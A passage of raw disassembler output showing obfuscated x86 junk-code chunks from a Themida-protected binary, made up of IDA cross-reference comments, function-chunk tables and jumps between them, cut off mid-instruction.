CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- loc_56CB02: ; CODE XREF: Themida_:005609E5j push edx mov edx, esp push 523Fh mov [esp], ebx mov ebx, 7FA211A8h jmp loc_565BC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_56CB17: ; CODE XREF: sub_560056+1j mov ebp, 34B36A59h not ebp xor ebp, 0C730A25Dh jmp loc_569EE8 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- loc_56CB29: ; CODE XREF: Themida_:00571FEFj push 7F82h mov [esp], ecx mov ecx, esp jmp loc_56ECB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56CB38: ; CODE XREF: sub_56CC46+3914j mov edx, 5B560D51h xor edx, 1FC969DFh neg edx not edx jmp loc_572EA6 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- loc_56CB4C: ; CODE XREF: Themida_:005673D8j xchg ebp, [esp] pop esp jmp loc_573B27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_56CB55: ; CODE XREF: sub_56C38F-A351j push eax neg [esp+0Ch+var_C] pop eax or eax, 3A830EBCh sub eax, 3BCE9FAh sub ebp, eax pop eax sub edx, ebp pop ebp add ecx, edx push dword ptr [esp+0] pop edx push ebp jmp loc_572B1E ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_56CB76: ; CODE XREF: sub_56628B-1B1Fj add [esp+10h+var_10], 41333CD3h sub [esp+10h+var_10], eax sub [esp+10h+var_10], 41333CD3h jmp loc_566372 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_56CB8C: ; CODE XREF: sub_5747D7-1025Aj xor eax, 55792BD5h sub eax, 95799FD5h mov ebx, eax push [esp+4+var_4] pop eax add esp, 4 and eax, ebx push dword ptr [esp+0] pop ebx sub esp, 4 mov [esp+4+var_4], eax mov eax, esp push edi mov edi, 125423FAh and edi, 4015563Ah add edi, 0FFEBFDCAh add eax, edi jmp loc_571A78 ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_56CBC6: ; CODE XREF: sub_574CBE-9DD1j push dword ptr [esp+0] pop edx add esp, 4 jmp loc_564842 ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_56CBD5: ; CODE XREF: sub_56657A+45Cj add eax, 0A9C7F9A0h jmp loc_569BB3 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_56CBDF: ; CODE XREF: sub_572141+Cj mov ebp, esp push 2FE4h mov [esp+8+var_8], edx jmp loc_56CFF0 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 1B03h jmp loc_569B4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56CBFB: ; CODE XREF: sub_57354D-CBCCj xor edx, eax push eax jmp loc_571862 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5609A1 loc_56CC03: ; CODE XREF: sub_5609A1+10945j mov ebx, [esp+4+var_4] add esp, 4 push dword ptr [esp+0] mov edx, [esp+4+var_4] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+8+var_8] pop esp add esp, 4 jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5609A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_56CC2D: ; CODE XREF: sub_5713A7-1E84j mov ebx, 0 add ebx, edx mov eax, [ebx] mov ebx, [esp+8+var_8] push edi jmp loc_569762 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_56CC3F: ; CODE XREF: sub_569A75+2B0Fj sub al, bl jmp loc_571CE3 ; END OF FUNCTION CHUNK FOR sub_569A75 ; =============== S U B R O U T I N E ======================================= sub_56CC46 proc near ; DATA XREF: Themida_:0055FEA8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005602AF SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0056045D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00560A84 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0056123F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005616EA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00561767 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056390D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563BE1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005650C9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00565620 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00565BFA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00566B48 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567072 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0056B5A1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056B758 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056BEBF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056CB38 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056CEFD SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056D11C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D7D0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056E082 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056FB0C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00570530 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 005705ED SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00571319 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005719EC SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00572EA6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00573F89 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00574336 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005743D3 SIZE 00000018 BYTES push dword ptr [esp+0] push [esp+4+var_4] jmp loc_56390D sub_56CC46 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_56CC51: ; CODE XREF: sub_570E81-1ECCj push esi mov esi, 0C92BD9Dh add edx, 6C67634Eh sub edx, esi sub edx, 6C67634Eh pop esi sub ebp, 3536057Dh sub ebp, edx jmp loc_571DC8 ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56CC73: ; CODE XREF: sub_5673C3+ED0j mov eax, 2FD82560h xor eax, 7B9A1340h jmp loc_5712EB ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_56CC82: ; CODE XREF: sub_566DFE+3j mov [esp+0], edi not dword ptr [esp+0] jmp loc_57340C ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_56CC8D: ; CODE XREF: sub_563FA2-1247j add esi, ebx add esi, 0F2D307Eh pop ebx push eax mov eax, 4 sub esi, eax jmp loc_56AD0A ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_56CCA3: ; CODE XREF: sub_570E81-8175j sub ebp, ecx sub ebp, 9290864h pop ecx sub ebp, 378A6984h jmp loc_56D8AC ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5606E3 loc_56CCB7: ; CODE XREF: sub_5606E3+18BCj or [edi+1Ch], eax pop eax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5606E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DBB0 loc_56CCC0: ; CODE XREF: sub_56DBB0+22AAj mov eax, 79D4B43h mov edi, eax pop eax xor edi, 293C09B1h add ebx, 1F90346Ch add ebx, edi jmp loc_56C7B1 ; END OF FUNCTION CHUNK FOR sub_56DBB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56CCDB: ; CODE XREF: sub_564D26+23C3j push ecx mov ecx, 13A07F37h or ebp, ecx pop ecx neg ebp not ebp inc ebp add ebp, 0E45B808Dh jmp loc_56695F ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_56CCF4: ; CODE XREF: sub_56EE9F+Fj push 3BED6768h pop ebx and ebx, 41E20CEh jmp loc_56DBC3 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_56CD05: ; CODE XREF: sub_566117-4C58j mov ecx, [esp+0] sub esp, 4 jmp loc_56DD34 ; END OF FUNCTION CHUNK FOR sub_566117 ; =============== S U B R O U T I N E ======================================= sub_56CD13 proc near ; DATA XREF: Themida_:0055FE64o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056039D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005611CE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00562DFA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056629C SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0056765E SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056A00F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056B40A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056BF1A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056DA27 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056F734 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0057018D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00570670 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005741DB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057482B SIZE 0000000E BYTES push [esp+arg_0] push [esp+4+var_4] mov eax, [esp+8+var_8] jmp loc_56B40A sub_56CD13 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_56CD22: ; CODE XREF: sub_567CF5-1CBBj pop esp push 1248h mov [esp+4+var_4], ecx push ebx mov ebx, 18B7332Fh mov ecx, ebx pop ebx jmp loc_56713A ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_56CD39: ; CODE XREF: sub_56BC97+5A7Aj sub edx, 3C5F5619h add edx, esi add edx, 3C5F5619h pop esi sub esp, 4 mov [esp+4+var_4], edx push dword ptr [esp+4] pop edx pop [esp+4+var_4] jmp loc_56A3A9 ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_56CD5B: ; CODE XREF: sub_56A7FB-3302j neg ch push cx neg byte ptr [esp+1] jmp loc_572A52 ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562676 loc_56CD68: ; CODE XREF: sub_562676+99F4j sub eax, 15A157C0h dec eax xor eax, 116564BCh sub esi, eax jmp loc_5632C8 ; END OF FUNCTION CHUNK FOR sub_562676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_56CD7A: ; CODE XREF: sub_571289-7B6Aj shl eax, 5 jmp loc_568D69 ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_56CD82: ; CODE XREF: sub_569DB5-2C9Ej pop esp jmp loc_570848 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_56CD88: ; CODE XREF: sub_56FA44-A8BCj pop edi add ecx, ebp mov ebp, [esp+4+var_4] add esp, 4 push 7355h mov [esp+4+var_4], esi mov esi, 2 sub ecx, 616B1413h jmp loc_56957C ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- loc_56CDAC: ; CODE XREF: Themida_:00569403j mov ebx, eax pop eax add edx, ebx push dword ptr [esp] pop ebx sub esp, 4 jmp loc_56BD25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56CDBD: ; CODE XREF: sub_56FB8A-D26j xor edx, 14D22360h add edx, 1 jmp sub_56C38F ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- loc_56CDCB: ; CODE XREF: Themida_:00565F7Dj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_573B6C ; --------------------------------------------------------------------------- loc_56CDFE: ; CODE XREF: Themida_:00564A63j mov [esp], edi mov edi, 4 add ebx, edi mov edi, [esp] add esp, 4 xchg ebx, [esp] pop esp div ecx sub esp, 4 mov [esp], ecx jmp loc_567C45 ; --------------------------------------------------------------------------- loc_56CE1F: ; CODE XREF: Themida_:00573B6Fj xor [esp], ebx xor ebx, [esp] jmp loc_564A62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_56CE2A: ; CODE XREF: sub_56F3B2-5F93j push [esp+4+var_4] pop edi jmp loc_560A35 ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56CE33: ; CODE XREF: sub_5678CB-B9Cj mov ebx, esp jmp loc_5677AC ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_56CE3A: ; CODE XREF: sub_56D855-C2B6j pop ebx add eax, 2 xchg eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] shl [esp-4+arg_0], cl pushf jmp loc_56E928 ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_56CE4E: ; CODE XREF: sub_5638E4+3j mov [esp+4+var_4], esi jmp loc_564679 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- loc_56CE56: ; CODE XREF: Themida_:00563E14j pop eax jmp loc_56D3DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56CE5C: ; CODE XREF: sub_56AEF2-23F1j sub bl, ah pop eax jmp loc_572970 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56CE64: ; CODE XREF: sub_561027+49B6j mov esi, [esp+14h+var_14] add esp, 4 ; END OF FUNCTION CHUNK FOR sub_561027 ; START OF FUNCTION CHUNK FOR sub_561541 loc_56CE6D: ; CODE XREF: sub_561541+12200j push 24C0h mov [esp+4+var_4], esi mov esi, esp push eax mov eax, 34753A40h jmp loc_56C133 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_56CE82: ; CODE XREF: sub_5754DA-62DDj sub al, ch pop ecx push [esp-4+arg_0] mov ebx, [esp+0] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp sub esp, 4 mov [esp+0], ecx push edx jmp sub_574949 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56CEAD: ; CODE XREF: sub_563A7F-2085j mov al, 2 add bl, al pop ax push small 7461h mov word ptr [esp+0Eh+var_10+2], ax mov ah, 92h sub ah, 0F5h sub bl, ah pop ax pop eax push ecx jmp loc_56B819 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- loc_56CECB: ; CODE XREF: Themida_:00563192j sub esi, edx jmp loc_56F37F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_56CED2: ; CODE XREF: sub_574CBE-10461j push esi mov esi, 5C452B64h sub esi, 4B3D090Ch or esi, 7A684BD8h xor esi, 4F394155h xor ecx, esi pop esi sub ecx, 684411EBh sub esi, ecx mov ecx, [esp+14h+var_14] jmp loc_569AA3 ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56CEFD: ; CODE XREF: sub_56CC46-7B69j mov esi, esp push ebp mov ebp, 4 add esi, ebp pop ebp push ebx mov ebx, 3DE1D3Ah sub ebx, 3DE1D36h add esi, ebx jmp loc_571319 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56CF1B: ; CODE XREF: sub_5605BC+E49Ej neg ecx shr ecx, 5 shr ecx, 3 xor ecx, 25943F3Ah push edi mov edi, 366B6EA2h add edi, 0EF0975F0h sub ecx, edi jmp loc_5605EC ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_56CF3C: ; CODE XREF: sub_560844+11077j mov ebx, 1A4446C0h jmp loc_568334 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56CF46: ; CODE XREF: sub_56AB5E-9F7Fj push dword ptr [edi+eax*4] push 5ECFh mov [esp+8+var_8], ebx push 12C1h mov [esp+0Ch+var_C], ebp push 607C1783h jmp loc_56EB86 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- loc_56CF63: ; CODE XREF: Themida_:00570A57j pop eax push edi mov edi, 606F4D4Ch shr edi, 6 jmp loc_561C37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_56CF72: ; CODE XREF: sub_565A8D+2F9j pop edx sub ebx, eax mov eax, [esp+4+var_4] jmp loc_572199 ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_56CF7D: ; CODE XREF: sub_56657A-1D82j add edx, 741940EDh push ebp mov ebp, 0D516C7Ch neg ebp jmp loc_57484D ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- loc_56CF90: ; CODE XREF: Themida_:0056F23Fj xchg edx, [esp] mov esp, [esp] jmp loc_56327D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56CF9B: ; CODE XREF: sub_574656-FC59j mov esi, 0 sub esi, ebp jmp loc_566046 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56CFA7: ; CODE XREF: sub_563A7F+539Fj mov bh, 0E7h jmp loc_5641CC ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_56CFAE: ; CODE XREF: sub_56F782-AB43j add esi, ebp mov ebp, [esp+0Ch+var_C] add esp, 4 add esi, 4 xchg esi, [esp+8+var_8] mov esp, [esp+8+var_8] push ebp push esp pop ebp push ecx push ebp push 1884647h pop ebp inc ebp add ebp, 0FE77B9BCh push ebp jmp loc_5697DC ; END OF FUNCTION CHUNK FOR sub_56F782 ; --------------------------------------------------------------------------- loc_56CFDA: ; CODE XREF: Themida_:005696C1j pop dword ptr [esp] pop esp mov [esp], dx push ax pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_56CFEA: ; CODE XREF: sub_5690E8+25j push edx jmp loc_574E57 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_56CFF0: ; CODE XREF: sub_572141-5558j push 3460h mov [esp+0Ch+var_C], ebx mov ebx, 30757BB7h mov edx, 0CF8A844Dh add edx, ebx jmp loc_570B7E ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_56D009: ; CODE XREF: sub_5738F4-33DFj xchg eax, edi not eax xchg eax, edi jmp loc_566D73 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56D012: ; CODE XREF: sub_5605BC+AB13j push 36E9h mov [esp+0], ebx mov ebx, 2B7937ECh push 0 sub [esp+0], ebx pop ebx neg ebx sub ebx, 2B7937E8h sub ecx, 0A8F50B6h add ecx, 2B1D0051h add ecx, ebx jmp loc_56E66A ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566F55 loc_56D043: ; CODE XREF: sub_566F55+64BAj push dword ptr [esp+4] pop edi pop [esp+4+var_4] mov esp, [esp+0] pop edi push edx mov edx, 31614B74h push esi mov esi, 78722535h jmp sub_56F1F0 ; END OF FUNCTION CHUNK FOR sub_566F55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56D060: ; CODE XREF: sub_574656-CE2Dj sub ebx, 6BE70014h jmp loc_567DA0 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD6F loc_56D06B: ; CODE XREF: sub_56FD6F+10j add eax, 4 push eax push dword ptr [esp+4] jmp loc_561560 ; END OF FUNCTION CHUNK FOR sub_56FD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_56D07A: ; CODE XREF: sub_5648C6+43C3j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+8+var_8] pop esp jmp loc_56151E ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_56D091: ; CODE XREF: sub_57523A-12D61j not eax jmp loc_5708C7 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56D098: ; CODE XREF: sub_564D26+B24Ej sub ebp, edx pop edx sub ebp, 38054438h add ebp, ecx push ecx mov ecx, 38054438h add ebp, ecx mov ecx, [esp+10h+var_10] add esp, 4 push edi jmp loc_574B15 ; END OF FUNCTION CHUNK FOR sub_564D26 ; =============== S U B R O U T I N E ======================================= sub_56D0B7 proc near ; CODE XREF: sub_5726BB+208Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00561D3E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00571759 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 005747CC SIZE 0000000B BYTES push ebp mov ebp, 68442FB9h sub edi, ebp pop ebp sub edi, 0A069B56Bh sub ebp, edi pop edi add ebp, 11B861B2h add ebp, eax sub ebp, 11B861B2h add ebp, 391D6CECh mov eax, [esp-8+arg_4] add esp, 4 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] div cl movzx cx, ah push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx sub edi, 4 xchg edi, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov [esp-8+arg_4], ebp push esp mov ebp, [esp-4+arg_0] add esp, 4 jmp loc_5747CC sub_56D0B7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56D11C: ; CODE XREF: sub_56CC46-5BABj xor esi, ebp jmp loc_56D7D0 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- loc_56D123: ; CODE XREF: Themida_:0056C0E8j xchg edx, [esp] mov esp, [esp] push ecx mov ecx, 11C90422h add [esp+4], ecx jmp loc_56836D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574503 loc_56D138: ; CODE XREF: sub_574503-CBEEj pop edi jmp loc_560B93 ; END OF FUNCTION CHUNK FOR sub_574503 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_56D13E: ; CODE XREF: sub_569B75+1j mov ebp, 1F9D43E1h sub ebp, 3F154AF5h jmp loc_569EA6 ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56D14E: ; CODE XREF: sub_574A21-11A32j not edx jmp loc_5684CA ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_56D155: ; CODE XREF: sub_566400+3D6Bj xor edi, 0CC51B54h neg edi jmp loc_5610FE ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- loc_56D162: ; CODE XREF: Themida_:00573A11j mov [esp], edx push ebp mov ebp, 536E38ADh jmp loc_56A398 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56D170: ; CODE XREF: sub_56FA15-7058j pop eax add al, 0BFh sub al, bl sub al, 0BFh push [esp+8+var_8] pop ebx push 750Eh mov [esp+0Ch+var_C], ebp push esp pop ebp push edi mov edi, 4 add ebp, edi pop edi push esi mov esi, 4 add ebp, esi mov esi, [esp+10h+var_10] push ecx sub esp, 4 mov [esp+18h+var_18], esp add [esp+18h+var_18], 4 pop ecx add ecx, 4 jmp loc_56E826 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56D1B6: ; CODE XREF: sub_574FC9-7431j mov eax, esp jmp loc_56D68D ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56D1BD: ; CODE XREF: sub_574656-5914j xor edx, edx push esi push 31A5h mov [esp+8+var_8], edx mov edx, ebx push ebx mov ebx, edx mov esi, ebx pop ebx jmp loc_56689A ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_56D1D5: ; CODE XREF: sub_5733CA-946Bj pop ebp or esi, ecx jmp loc_566FC6 ; END OF FUNCTION CHUNK FOR sub_5733CA ; =============== S U B R O U T I N E ======================================= sub_56D1DD proc near ; CODE XREF: sub_56FD97-FC46j ; FUNCTION CHUNK AT 00564794 SIZE 00000011 BYTES push ebx mov ebx, 4C083BC8h inc ebx and ebx, 44825D0Ah xor ebx, 2B223E06h shr ebx, 8 neg ebx add ebx, 0B231A6D2h add edi, ebx jmp loc_564794 sub_56D1DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56D202: ; CODE XREF: sub_56616D+4E1j add eax, 713620Ch add eax, edi sub eax, 713620Ch jmp sub_567B29 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- loc_56D213: ; CODE XREF: Themida_:0056C8E4j xor eax, [esp] pop esp add esp, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi push esp pop edi push ecx mov ecx, 22C41820h push eax push 27Eh jmp loc_56B15F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_56D244: ; CODE XREF: sub_5713A7-A68Aj sub edx, 46830E46h push ebx push 1BD1h mov [esp+10h+var_10], eax push 3A6D2BCAh mov eax, [esp+14h+var_14] add esp, 4 shr eax, 7 xor eax, 7F624FD2h jmp loc_564D6B ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56D26E: ; CODE XREF: sub_572075+60j pop [esp+8+var_8] mov esp, [esp+4+var_4] movzx ecx, ax sub esp, 4 mov [esp+0], ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp+4+var_4], eax push ebp mov ebp, 466C5283h push ebp push 68EB744Ch pop ebp add ebp, 0DD80DE3Bh mov eax, ebp jmp loc_56FB7B ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574D8F loc_56D2AB: ; CODE XREF: sub_574D8F-17F4j sub ebx, eax pop eax pop edi sub ebx, ebp add ebx, 4F6411B7h push [esp+4+var_4] jmp loc_56BCCC ; END OF FUNCTION CHUNK FOR sub_574D8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56D2BF: ; CODE XREF: sub_56616D+3C2Bj or ecx, 